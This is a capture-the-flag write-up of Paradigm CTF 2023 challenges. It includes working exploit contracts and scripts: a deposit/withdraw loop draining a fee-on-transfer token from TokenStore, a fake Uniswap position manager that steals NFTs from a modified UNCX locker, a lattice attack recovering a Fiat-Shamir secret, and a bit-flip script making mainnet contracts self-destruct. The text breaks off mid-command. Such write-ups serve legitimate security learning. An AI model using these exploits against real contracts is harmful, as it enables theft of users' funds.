Make sure to go back and read 'Paradigm CTF 2023 Writeup 1/2' for the full writeup.
CHALLENGE: GRAINS OF SAND
AUTHOR: samczsun
TAGS: pwn
DESCRIPTION: At what point does it stop being a heap?
This challenge goal is to reduce the balance of the GoldReserve (XGR) token (0xC937f5027D47250Fa2Df8CbF21F6F88E98817845
) by more than 11111e8
from the TokenStore
contract. The challenge only provides us with the Challenge.sol as follows:
Challenge.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract Challenge {
IERC20 private immutable TOKEN = IERC20(0xC937f5027D47250Fa2Df8CbF21F6F88E98817845);
address private immutable TOKENSTORE = 0x1cE7AE555139c5EF5A57CC8d814a867ee6Ee33D8;
uint256 private immutable INITIAL_BALANCE;
constructor() {
INITIAL_BALANCE = TOKEN.balanceOf(TOKENSTORE);
}
function isSolved() external view returns (bool) {
return INITIAL_BALANCE - TOKEN.balanceOf(TOKENSTORE) >= 11111e8;
}
}
The TokenStore
contract provides functionality to exchange the token by using a signature. So it should be easy to solve this challenge by trying to buy $XGR out of contract for more than 11111e8
tokens. Unfortunately, the Token.Store platform was shut down last year (https://twitter.com/TokenDotStore/status/1267588299243298816), so this means we have to find a valid sell signature that has not expired yet.
We have decided to find unexpired $XGR trades on Dune, by using the following SQL statement:
SELECT
*
FROM
tokenstore_ethereum.TokenStore_call_trade
WHERE
_tokenGive = 0xC937f5027D47250Fa2Df8CbF21F6F88E98817845
AND _expires > CAST(18437825 AS uint256)
Two unexpired orders were found as follows:
contract_address,call_success,call_tx_hash,call_trace_address,call_block_time,call_block_number,_amount,_amountGet,_amountGive,_expires,_nonce,_r,_s,_tokenGet,_tokenGive,_user,_v
0x1ce7ae555139c5ef5a57cc8d814a867ee6ee33d8,true,0x1483f5c6158dfb9a899b137ccfa988fb2b1f6927854dcd83e0a29caadd0e38ba,[],2019-08-24 14:26:41.000 UTC,8.413497e+06,4200000000000000,84000000000000000,200000000000,108142282,470903382,0xf164a3e185694dadeb11a9e9e7371929675d2eb2a6e9daa4508e96bc81741018,0x314f3b6d5ce7c3f396604e87373fe4fe0a10bef597287d840b942e57595cb29a,0x0000000000000000000000000000000000000000,0xc937f5027d47250fa2df8cbf21f6f88e98817845,0xa219fb3cfae449f6b5157c1200652cc13e9c9ea8,28
0x1ce7ae555139c5ef5a57cc8d814a867ee6ee33d8,true,0x6d727f761c7744bebf4a8773f5a06cd7af280dcda0b55c0995aea47d5570f1a1,[1],2020-06-14 05:25:14.000 UTC,1.0261947e+07,4246800000000000,42468000000000000,1000000000000,109997981,249363390,0x2b80ada8a8d94ed393723df8d1b802e1f05e623830cf117e326b30b1780ae397,0x65397616af0ec4d25f828b25497c697c58b3dcc852259eaf7c72ff487ce76e1e,0x0000000000000000000000000000000000000000,0xc937f5027d47250fa2df8cbf21f6f88e98817845,0x6ffacaa9a9c6f8e7cd7d1c6830f9bc2a146cf10c,28
Then we calculated the unfilled balances and perform trades to get all available tokens by calling the instantTrade()
function with cast
.
cast send 0xe17dbb844ba602e189889d941d1297184ce63664 --rpc-url $rpc_url --private-key $priv_key --value 38374084800000000 "instantTrade(address,uint256,address,uint256,uint256,uint256,address,uint8,bytes32,bytes32,uint256,address)" -- 0x0000000000000000000000000000000000000000 42468000000000000 0xC937f5027D47250Fa2Df8CbF21F6F88E98817845 1000000000000 109997981 249363390 0x6FFacaa9A9c6f8e7CD7D1C6830f9bc2a146cF10C 28 0x2b80ada8a8d94ed393723df8d1b802e1f05e623830cf117e326b30b1780ae397 0x65397616af0ec4d25f828b25497c697c58b3dcc852259eaf7c72ff487ce76e1e 38221200000000000 0x1cE7AE555139c5EF5A57CC8d814a867ee6Ee33D8
cast send 0xe17dbb844ba602e189889d941d1297184ce63664 --rpc-url $rpc_url --private-key $priv_key --value 80119200000000000 "instantTrade(address,uint256,address,uint256,uint256,uint256,address,uint8,bytes32,bytes32,uint256,address)" -- 0x0000000000000000000000000000000000000000 84000000000000000 0xC937f5027D47250Fa2Df8CbF21F6F88E98817845 200000000000 108142282 470903382 0xa219fb3cfae449f6b5157c1200652cc13e9c9ea8 28 0xf164a3e185694dadeb11a9e9e7371929675d2eb2a6e9daa4508e96bc81741018 0x314f3b6d5ce7c3f396604e87373fe4fe0a10bef597287d840b942e57595cb29a 79800000000000000 0x1cE7AE555139c5EF5A57CC8d814a867ee6Ee33D8
But the token has a fee on transfer, so we get only 1090218000000 $XGR, which is not enough to pass the challenge.
In this case, the Token.Store does not support the fee-on-transfer token, so we can repeatedly deposit and withdraw to drain the token from the contract. The following Attack
contract is used to solved this challenge.
Attack.sol
pragma solidity ^0.8.0;
interface Token {
function approve(address _spender, uint256 _value) external returns (bool success);
function balanceOf(address _owner) external returns (uint256 balance);
}
interface TokenStore {
function depositToken(address _token, uint _amount) external;
function withdrawToken(address _token, uint _amount) external;
}
contract Attack {
TokenStore ts = TokenStore(0x1cE7AE555139c5EF5A57CC8d814a867ee6Ee33D8);
Token t = Token(0xC937f5027D47250Fa2Df8CbF21F6F88E98817845);
function attack() external {
t.approve(address(ts), type(uint).max);
while (t.balanceOf(address(ts)) > 12849391142060) {
uint256 curBalance = t.balanceOf(address(this));
ts.depositToken(address(t), curBalance);
ts.withdrawToken(address(t), curBalance);
}
}
}
We deployed the Attack contract and completed the challenge with the following command:
attack_addr=`forge create --rpc-url $rpc_url --private-key $priv_key -C . Attack.sol:Attack | grep Deployed | cut -f3 -d ' '`
my_addr=`cast wallet a $priv_key`
balance=`cast call $token_addr --rpc-url $rpc_url --private-key $priv_key "balanceOf(address)" -- $my_addr`
cast send $token_addr --rpc-url $rpc_url --private-key $priv_key "transfer(address,uint256)" -- $attack_addr $balance
cast send $attack_addr --rpc-url $rpc_url --private-key $priv_key "attack()"
CHALLENGE: TOKEN LOCKER
AUTHOR: samczsun
TAGS: pwn
DESCRIPTION: If you’re launching a new token, you should use our (new and improved) secure liquidity locking contract so your users know you won’t rugpull!
To solve this challenge, you need to deplete the UniswapV3 Position NFT (0xC36442b4a4522E871399CD717aBDD847Ab11FE88
) from the UNCX_ProofOfReservesV2_UniV3
contract (0x7f5C649856F900d15C83741f45AE46f5C6858234
). From the challenge’s description, we found out that there are some modifications in the UNCX_ProofOfReservesV2_UniV3
contract, which should help us drain out the NFT from the contract.
Challenge.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "../lib/openzeppelin-contracts/contracts/token/ERC721/IERC721.sol";
contract Challenge {
address private immutable TARGET = 0x7f5C649856F900d15C83741f45AE46f5C6858234;
IERC721 private immutable UNI_V3 = IERC721(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
function isSolved() external view returns (bool) {
return UNI_V3.balanceOf(TARGET) == 0;
}
}
In the UNCX_ProofOfReservesV2_UniV3
contract, the lock()
function allows users to lock liquidity in this secure liquidity locking contract. It provides two options: users can either convert an NFT to full range and collect associated fees, which are then sent back to the collector, or they can use an existing position.
UNCX_ProofOfReservesV2_UniV3.sol
function lock(LockParams calldata params) external payable override nonReentrant returns (uint256) {
require(params.owner != address(0));
require(params.collectAddress != address(0), "COLLECT_ADDR");
require(params.unlockDate < 1e10 || params.unlockDate == ETERNAL_LOCK, "MILLISECONDS"); // prevents errors when timestamp entered in milliseconds
require(params.unlockDate > block.timestamp, "DATE PASSED");
require(COUNTRY_LIST.countryIsValid(params.countryCode), "COUNTRY");
FeeStruct memory fee;
if (msg.sender == MIGRATE_IN) {
fee.collectFee = abi.decode(params.r[0], (uint256));
} else {
if (params.r.length > 0) {
fee = FEE_RESOLVER.useFee(params.r, msg.sender);
} else {
fee = getFee(params.feeName);
}
if (fee.flatFee > 0) {
deductFlatFee(fee);
}
}
params.nftPositionManager.safeTransferFrom(msg.sender, address(this), params.nft_id);
Position memory position;
(
,
,
position.token0,
position.token1,
position.fee,
position.tickLower,
position.tickUpper,
position.liquidity,
,
,
,
) = params.nftPositionManager.positions(params.nft_id);
IUniswapV3Factory factory = IUniswapV3Factory(params.nftPositionManager.factory());
address pool = factory.getPool(position.token0, position.token1, position.fee);
int24 maxTick = tickSpacingToMaxTick(factory.feeAmountTickSpacing(position.fee));
uint256 nftId;
if (position.tickLower != -maxTick && position.tickUpper != maxTick) {
// convert the position to full range by minting a new full range NFT
nftId = _convertPositionToFullRange(
params.nftPositionManager, params.nft_id, position, maxTick, params.dustRecipient
);
} else {
nftId = params.nft_id;
// collect fees for user to prevent being charged a fee on existing fees
params.nftPositionManager.collect(
INonfungiblePositionManager.CollectParams(
nftId, params.dustRecipient, type(uint128).max, type(uint128).max
)
);
}
// Take lp fee
if (fee.lpFee > 0) {
uint128 liquidity = _getLiquidity(params.nftPositionManager, nftId);
params.nftPositionManager.decreaseLiquidity(
INonfungiblePositionManager.DecreaseLiquidityParams(
nftId, uint128(liquidity * fee.lpFee / FEE_DENOMINATOR), 0, 0, block.timestamp
)
);
params.nftPositionManager.collect(
INonfungiblePositionManager.CollectParams(nftId, FEE_ADDR_LP, type(uint128).max, type(uint128).max)
);
}
Lock memory newLock;
newLock.lock_id = NONCE;
newLock.nftPositionManager = params.nftPositionManager;
newLock.pool = pool;
newLock.nft_id = nftId;
newLock.owner = params.owner;
newLock.additionalCollector = params.additionalCollector;
newLock.collectAddress = params.collectAddress;
newLock.unlockDate = params.unlockDate;
newLock.countryCode = params.countryCode;
newLock.ucf = fee.collectFee;
LOCKS[NONCE] = newLock;
USER_LOCKS[params.owner].add(NONCE);
NONCE++;
emitLockEvent(newLock.lock_id);
return newLock.lock_id;
}
The _convertPositionToFullRange()
function transforms a Uniswap V3 liquidity position into a full range position. It achieves this by decreasing the position’s liquidity, collecting associated fees, setting parameters for a new full range position, minting that new position, and burning the old one.
UNCX_ProofOfReservesV2_UniV3.sol
function _convertPositionToFullRange(
INonfungiblePositionManager _nftPositionManager,
uint256 _tokenId,
Position memory _position,
int24 _maxTick,
address _dustRecipient
) private returns (uint256) {
_nftPositionManager.decreaseLiquidity(
INonfungiblePositionManager.DecreaseLiquidityParams(_tokenId, _position.liquidity, 0, 0, block.timestamp)
);
(uint256 collectedAmount0, uint256 collectedAmount1) = _nftPositionManager.collect(
INonfungiblePositionManager.CollectParams(_tokenId, address(this), type(uint128).max, type(uint128).max)
);
INonfungiblePositionManager.MintParams memory mintParams =
_setPartialMintParamsFromPosition(_nftPositionManager, _tokenId);
mintParams.deadline = block.timestamp;
mintParams.recipient = address(this);
mintParams.tickLower = -_maxTick;
mintParams.tickUpper = _maxTick;
mintParams.amount0Desired = collectedAmount0;
mintParams.amount1Desired = collectedAmount1;
mintParams.amount0Min = 0;
mintParams.amount1Min = 0;
TransferHelper.safeApprove(mintParams.token0, address(_nftPositionManager), mintParams.amount0Desired);
TransferHelper.safeApprove(mintParams.token1, address(_nftPositionManager), mintParams.amount1Desired);
(uint256 newNftId,, uint256 mintedAmount0, uint256 mintedAmount1) = _nftPositionManager.mint(mintParams);
_nftPositionManager.burn(_tokenId);
// Refund the tokens which dont fit into full range liquidity
if (collectedAmount0 > mintedAmount0) {
TransferHelper.safeTransfer(mintParams.token0, _dustRecipient, collectedAmount0 - mintedAmount0);
}
if (collectedAmount1 > mintedAmount1) {
TransferHelper.safeTransfer(mintParams.token1, _dustRecipient, collectedAmount1 - mintedAmount1);
}
However, there is no input validation for the _nftPositionManager
parameter, allowing an attacker to input a malicious _nftPositionManager
contract. This could potentially make the UNCX_ProofOfReservesV2_UniV3
contract approve the token0
and token1
to the _nftPositionManager
contract. The following lines grant permission to the Uniswap V3 _nftPositionManager
contract to transfer specific token amounts of the token0
and token1
.
TransferHelper.safeApprove(mintParams.token0, address(_nftPositionManager), mintParams.amount0Desired);
TransferHelper.safeApprove(mintParams.token1, address(_nftPositionManager), mintParams.amount1Desired);
But in this challenge, we have to drain the ERC721 out of the contract; (un)fortunately, the function signatures of ERC20.transferFrom()
and ERC721.transferFrom()
are the same. Which means if we can control both the mintParams.token0
and the mintParams.amount0Desired
, we can arbitrary approve the NFT to our malicious NftPositionManager
contract.
The mintParams.token0
and mintParams.token1
can be controlled by modifying the returns of the INonfungiblePositionManager.positions()
function.
UNCX_ProofOfReservesV2_UniV3.sol
INonfungiblePositionManager.MintParams memory mintParams =
_setPartialMintParamsFromPosition(_nftPositionManager, _tokenId);
function _setPartialMintParamsFromPosition(INonfungiblePositionManager _nftPositionManager, uint256 _tokenId)
private
view
returns (INonfungiblePositionManager.MintParams memory)
{
INonfungiblePositionManager.MintParams memory m;
(,, m.token0, m.token1, m.fee,,,,,,,) = _nftPositionManager.positions(_tokenId);
return m;
}
Additionally, in the original code, when the _convertPositionToFullRange()
is executed, it assigns amount0Desired
and amount1Desired
values as follows:
mintParams.amount0Desired = IERC20(mintParams.token0).balanceOf(address(this));
mintParams.amount1Desired = IERC20(mintParams.token1).balanceOf(address(this));
But in our challenge, there are some changes where the amount0Desired
and amount1Desired
values are assigned from the _nftPositionManager.collect()
function.
UNCX_ProofOfReservesV2_UniV3.sol
(uint256 collectedAmount0, uint256 collectedAmount1) = _nftPositionManager.collect(
INonfungiblePositionManager.CollectParams(_tokenId, address(this), type(uint128).max, type(uint128).max)
);
mintParams.amount0Desired = collectedAmount0;
mintParams.amount1Desired = collectedAmount1;
This allows the attacker to control the mintParams.amount0Desired
value by modifying the return value of _nftPositionManager.collect()
to the tokenId
of any NFT that UNCX_ProofOfReservesV2_UniV3
is holding.
As a result, the attacker can craft the malicious NftPositionManager
contract to arbitrary approve UniswapV3 liquidity position NFTs in the UNCX_ProofOfReservesV2_UniV3
contract and transfer them out of the contract. We have to implement some function of the malicious NftPositionManager
contract to make the exploit work as follows:
TokenLockerSolver.s.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.6.2 <0.9.0;
import "forge-std/Script.sol";
import "../src/UNCX_ProofOfReservesV2_UniV3.sol";
contract TokenLockerSolver is Script {
function run() external {
uint256 playerPrivateKey = uint256(YOUR_PRIVATE_KEY);
address uniReserveAddress = address(0x7f5C649856F900d15C83741f45AE46f5C6858234);
address nftPositionManagerAddress = address(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
bytes[] memory r;
UNCX_ProofOfReservesV2_UniV3 uniReserve = UNCX_ProofOfReservesV2_UniV3(uniReserveAddress);
console.log("balanceOf:", INFT(nftPositionManagerAddress).balanceOf(uniReserveAddress));
vm.startBroadcast(playerPrivateKey);
FakeNftPositionManager fpositionManager = new FakeNftPositionManager();
uint256 times = INFT(nftPositionManagerAddress).balanceOf(uniReserveAddress);
for (uint256 i = 0; i < times; i++) {
uint256 tokenId = INFT(nftPositionManagerAddress).tokenOfOwnerByIndex(uniReserveAddress, 0);
console.log("tokenId[0]: ", tokenId);
IUNCX_ProofOfReservesV2_UniV3.LockParams memory params = IUNCX_ProofOfReservesV2_UniV3.LockParams(
INonfungiblePositionManager(address(fpositionManager)),
tokenId,
address(0xdead),
address(0xdead),
address(0xdead),
address(0xdead),
type(uint256).max,
0,
"DEFAULT",
r
);
uniReserve.lock(params);
}
vm.stopBroadcast();
console.log("balanceOf:", INFT(nftPositionManagerAddress).balanceOf(uniReserveAddress));
}
}
contract FakeNftPositionManager {
address public factory = address(this);
address nftPositionManagerAddress = address(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
address uniReserveAddress = address(0x7f5C649856F900d15C83741f45AE46f5C6858234);
uint256 currentId;
struct CollectParams {
uint256 tokenId;
address recipient;
uint128 amount0Max;
uint128 amount1Max;
}
struct DecreaseLiquidityParams {
uint256 tokenId;
uint128 liquidity;
uint256 amount0Min;
uint256 amount1Min;
uint256 deadline;
}
function getPool(address,address,uint24) external view returns(address) {
return address(this);
}
function feeAmountTickSpacing(uint24) external view returns (int24) {
return 1;
}
function decreaseLiquidity(DecreaseLiquidityParams calldata params)
external
payable
returns (uint256 amount0, uint256 amount1){}
function positions(uint256 tokenId)
external
view
returns (
uint96 nonce,
address operator,
address token0,
address token1,
uint24 fee,
int24 tickLower,
int24 tickUpper,
uint128 liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
)
{
token0 = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;
}
function collect(CollectParams calldata params) external payable returns (uint256 amount0, uint256 amount1) {
currentId = params.tokenId;
return(params.tokenId, params.tokenId);
}
fallback () external {}
struct MintParams {
address token0;
address token1;
uint24 fee;
int24 tickLower;
int24 tickUpper;
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0Min;
uint256 amount1Min;
address recipient;
uint256 deadline;
}
function mint(MintParams calldata params)
external
payable
returns (
uint256 tokenId,
uint128 liquidity,
uint256 amount0,
uint256 amount1
){
amount0 = type(uint256).max;
amount1 = type(uint256).max;
INFT(nftPositionManagerAddress).transferFrom(uniReserveAddress, address(this), currentId);
}
}
interface INFT {
function balanceOf ( address owner ) external view returns ( uint256 );
function tokenOfOwnerByIndex ( address owner, uint256 index ) external view returns ( uint256 );
function transferFrom ( address from, address to, uint256 tokenId ) external;
}
CHALLENGE: OVEN
AUTHOR: Cayden Liao (Zellic)
TAGS: pwn, cryptography
DESCRIPTION: Why do they call it an oven?
This challenge objective is to extract the flag from a random signature generated from the following Python code:
#!/usr/bin/env python3
from Crypto.Util.number import *
import random
import os
import hashlib
FLAG = os.getenv("FLAG", "PCTF{flag}").encode("utf8")
FLAG = bytes_to_long(FLAG[5:-1])
assert FLAG.bit_length() < 384
BITS = 1024
def xor(a, b):
return bytes([i ^ j for i, j in zip(a, b)])
# This doesn't really matter right???
def custom_hash(n):
state = b"\x00" * 16
for i in range(len(n) // 16):
state = xor(state, n[i : i + 16])
for _ in range(5):
state = hashlib.md5(state).digest()
state = hashlib.sha1(state).digest()
state = hashlib.sha256(state).digest()
state = hashlib.sha512(state).digest() + hashlib.sha256(state).digest()
value = bytes_to_long(state)
return value
def fiat_shamir():
p = getPrime(BITS)
g = 2
y = pow(g, FLAG, p)
v = random.randint(2, 2**512)
t = pow(g, v, p)
c = custom_hash(long_to_bytes(g) + long_to_bytes(y) + long_to_bytes(t))
r = (v - c * FLAG) % (p - 1)
assert t == (pow(g, r, p) * pow(y, c, p)) % p
return (t, r), (p, g, y)
while True:
resp = input("[1] Get a random signature\n[2] Exit\nChoice: ")
if "1" in resp:
print()
(t, r), (p, g, y) = fiat_shamir()
print(f"t = {t}\nr = {r}")
print()
print(f"p = {p}\ng = {g}\ny = {y}")
print()
elif "2" in resp:
print("Bye!")
exit()
After some research, we found out that to solve this challenge, we have to break the weak fait-shamir algorithm. Luckily, we found a babyProof write-up that relates to this challenge.
To solve this challenge, first we wrote the Python script to gather data:
from pwn import * # pwntools
from sympy import symbols, Eq, solve
from Crypto.Util.number import bytes_to_long, long_to_bytes
from sympy.ntheory.modular import solve_congruence
import json
def custom_hash(n):
state = b"\x00" * 16
for i in range(len(n) // 16):
state = xor(state, n[i : i + 16])
for _ in range(5):
state = hashlib.md5(state).digest()
state = hashlib.sha1(state).digest()
state = hashlib.sha256(state).digest()
state = hashlib.sha512(state).digest() + hashlib.sha256(state).digest()
value = bytes_to_long(state)
return value
def collect_equations(num_signatures=3):
ps = []
cs = []
rs = []
# Connect to the server
conn = remote("oven.challenges.paradigm.xyz", 1337)
for _ in range(num_signatures):
conn.recvuntil(b"Choice: ")
conn.sendline(b"1")
conn.recvuntil(b"t = ")
t = int(conn.recvline().strip())
conn.recvuntil(b"r = ")
r = int(conn.recvline().strip())
conn.recvuntil(b"p = ")
p = int(conn.recvline().strip())
conn.recvuntil(b"g = ")
g = int(conn.recvline().strip())
conn.recvuntil(b"y = ")
y = int(conn.recvline().strip())
c = custom_hash(long_to_bytes(g) + long_to_bytes(y) + long_to_bytes(t))
ps.append(p - 1)
cs.append(c)
rs.append(r)
return ps,cs,rs
# Main routine that orchestrates the retrieval of the FLAG.
def main():
num_signatures = 50 # Collecting multiple signatures helps create a solvable system of equations.
ps,cs,rs = collect_equations(num_signatures)
json.dump([ps, cs, rs], open("data", "w"))
if __name__ == "__main__":
main()
After gathering sufficient data, we solved the HNP with the following script and got the flag:
# SageMath 9.1
import json
from Crypto.Util.number import long_to_bytes
ps, cs, rs = json.load(open("data", "r"))
# HNP
N = 50
M = matrix(ZZ, N+2, N+2)
# p1
# p2
# ...
# pn
# c1 c2 ... cn 1
# r1 r2 ... rn 2^248
for i in range(N):
M[i,i] = ps[i] # pi
M[-2,i] = cs[i] # ci
M[-1,i] = rs[i] # ri
M[-2,-2] = 1
M[-1,-1] = 2^384
M_lll = M.LLL()
x = M_lll[0,-2]
print(long_to_bytes(x))
CHALLENGE: DROPPER
AUTHOR: samczsun
TAGS: koth
DESCRIPTION: How is anyone supposed to afford to do an airdrop in this market?
This is the first King of the Hill challenge, which will score each team based on how much gas it costs to airdrop tokens on the provided list. Since this is a gas optimization challenge, we wrote the Airdrop contract in Yul as shown as follows:
Airdrop.yul
object "Airdrop" {
code {
mstore(64, memoryguard(128))
let _1 := allocate_unbounded()
codecopy(_1, dataoffset("Airdrop_deployed"), datasize("Airdrop_deployed"))
return(_1, datasize("Airdrop_deployed"))
function allocate_unbounded() -> memPtr {
memPtr := mload(64)
}
}
object "Airdrop_deployed" {
code {
if eq(shr(224, calldataload(0)), 0xc1a38006) {
for { let usr$i := 0 } lt(usr$i, 16) { usr$i := add(usr$i, 1) }
{
pop(call(gas(), calldataload(add(add(0x24, calldataload(0x04)), mul(usr$i, 0x20))), calldataload(add(add(0x24, calldataload(0x24)), mul(usr$i, 0x20))), 0, 0, 0, 0))
}
return(0x00,0x00)
}
let usr$callData := mload(0x40)
mstore(usr$callData, 0x23b872dd00000000000000000000000000000000000000000000000000000000)
mstore(add(usr$callData, 4), 0x96b38Ea8e24018680D9d6f22EDBA51Ebf64FB546)
for { let usr$i := 0 } lt(usr$i, 16) { usr$i := add(usr$i, 1) }
{
calldatacopy(add(usr$callData, 36), add(add(0x24, calldataload(0x24)), mul(usr$i, 0x20)), 32)
calldatacopy(add(usr$callData, 68), add(add(0x24, calldataload(0x44)), mul(usr$i, 0x20)), 32)
pop(call(gas(), calldataload(0x04), 0, usr$callData, 0x64, 0, 0))
}
return(0x00,0x00)
}
}
}
After we deployed and airdropped tokens to the provided list, our team used a total gas of 1346986.
solc --optimize --strict-assembly Airdrop.yul --bin
cast send --rpc-url $rpc_url --private-key $priv_key --create 60808060405260b590816100118239f3fe600063c1a38006813560e01c146080576040516323b872dd60e01b81527396b38ea8e24018680d9d6f22edba51ebf64fb546600482015281906024918235838301604435946044850191600435945b601081106059578880f35b8060019160051b846020918282828b010187378b01018637898060648a828b5af15001604e565b602480359060043590835b601081106096578480f35b808580808060019560051b8780828c010135918a0101355af15001608b56
cast send $target_addr --rpc-url $rpc_url --private-key $priv_key "submit(address)" -- 0x8Ed6834Fcd37A2e8bF5f96A8DE931f4595AA38Fb
$ python3 -c 'print("clo9h6z7q01e4s619vilqpui0\n3")' | nc dropper.challenges.paradigm.xyz 1337
ticket? 1 - launch new instance
2 - kill instance
3 - submit score
action? submitting score 1346986
score successfully submitted (id=cloc26xan00x3s619ledpwq7c)
CHALLENGE: COSMIC RADIATION
AUTHOR: samczsun
TAGS: koth
DESCRIPTION: Have you ever dreamed of hacking some of the biggest contracts in Ethereum? Luck is on your side
As described above, in this challenge, we have the ability to flip any bit in any contract on the Ethereum chain. With this power, we have created an efficient way to hack every contract by flipping the first 40 bits of any contract to the following instructions.
CALLER 33 00110011
SELFDESTRUCT FF 11111111
PUSH0 5F 01011111
PUSH0 5F 01011111
RETURN F3 11110011
These instructions will selfdestruct
and transfer all ETH in the contract to the msg.sender
. So let’s start hacking the decentralized world.
Get the top-most richest addresses from https://etherscan.io/accounts.
Prepare the payload bytecode.
0011001111111111010111110101111111110011
Get code from contracts and find bits to flip.
flip.py
import os
import subprocess
f = open("addr_list.txt", "r")
addr_list = f.readlines()
rpc_url="http://cosmic-radiation.challenges.paradigm.xyz:8545/0c47e64f-6ca9-4bcb-8f78-138b68e17b09/main"
target_bytes = int("33ff5f5ff3", 16)
def to_pos(binary):
pos = 0
count = 0
out=''
for b in binary:
if b == "1":
out+=f":{pos}"
pos += 1
return out
def gen_flip():
flip_str = ''
for addr in addr_list:
addr = addr[:-1]
x = subprocess.check_output(["cast","code", addr, '--rpc-url', rpc_url])
b = int(str(x)[4:14], 16)
xor = target_bytes ^ b
pos = to_pos(f'{xor:0>40b}')
flip_str += f'{addr}{pos},'
print(flip_str)
gen_flip()
Start instance and flip.
python3 -c 'print("clo9q5g8h07d5s619jp1i27nq\n1\n0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2:20703,0x00000000219ab540356cbb839cbe05303d7705fa:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x8315177ab297ba92a06054ce80a67ed4dbd7ed3a:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xc61b9bb3a7a0767e3179713f3a5c7a9aedce193c:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x61edcdf5bb737adffe5043706e7c5bb1f1a56eea:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xde0b295669a9fd93d5f28d9ec85e40f4cb697bae:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x3bfc20f0b9afcace800d73d2191166ff16540258:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xbeb5fc579115071764c7423a4f12edde41f106ed:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x4ddc2d193948926d02f9b1fe9e1daa0718270ed5:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x220866b1a2219f40e72f5c628b65d54268ca3a9d:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x78605df79524164911c144801f41e9811b7db73d:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x8484ef722627bf18ca5ae6bcf031c23e6e922b30:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xafcd96e580138cfa2332c632e66308eacd45c5da:5:7:8:9:14:17:18:22:25:26:28:32:33:36:37:38,0x32400084c286cf3e17e7b677ea9583e60a000324:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x49048044d57e1c92a77f79988d21fa8faf74e97e:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x7da82c7ab4771ff031b66538d2fb9b0b047f6cf9:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x0c23fc0ef06716d2f8ba19bc4bed56d045581f2d:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x1db92e2eebc8e0c075a02bea49a2935bcd2dfcf4:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x376c3e5547c68bc26240d8dcc6729fff665a4448:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xa160cdab225685da1d56aa342ad8841c3b53f291:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x3262f13a39efaca789ae58390441c9ed76bc658a:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xbddf00563c9abd25b576017f08c46982012f12be:5:7:8:9:14:17:18:22:25:26:28:32:33:36:37:38,0xbf4ed7b27f1d666546e30d74d50d173d20bca754:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xcafea112db32436c2390f5ec988f3adb96870627:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x3d9256ad37128e9f47b34a82e06e981719477c18:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x755cdba6ae4f479f7164792b318b2a06c759833b:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x1e143b2588705dfea63a17f2032ca123df995ce0:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xae0ee0a63a2ce6baeeffe56e7714fb4efe48d419:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x111cff45948819988857bbf1966a0399e0d1141e:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xdc24316b9ae028f1497c275eb9192a3ea0f67022:1:3:6:7:8:9:10:11:12:14:15:17:18:20:23:25:28:29:30:31:32:33:34:37:38,0x795cbc7a670d06e56cd2197d4ca175e081a416ad:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x7442041898dc3f8ed76fa4e00a762064c87991c8:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x441d3663b321fd828350411641d7c9d57a183fcb:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x651bbd829a7cbd32f35dfc099cbde1e04789393c:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x78e3984e1ab1c3eb560cbd5b42b635e1cd341bc2:1:3:6:7:9: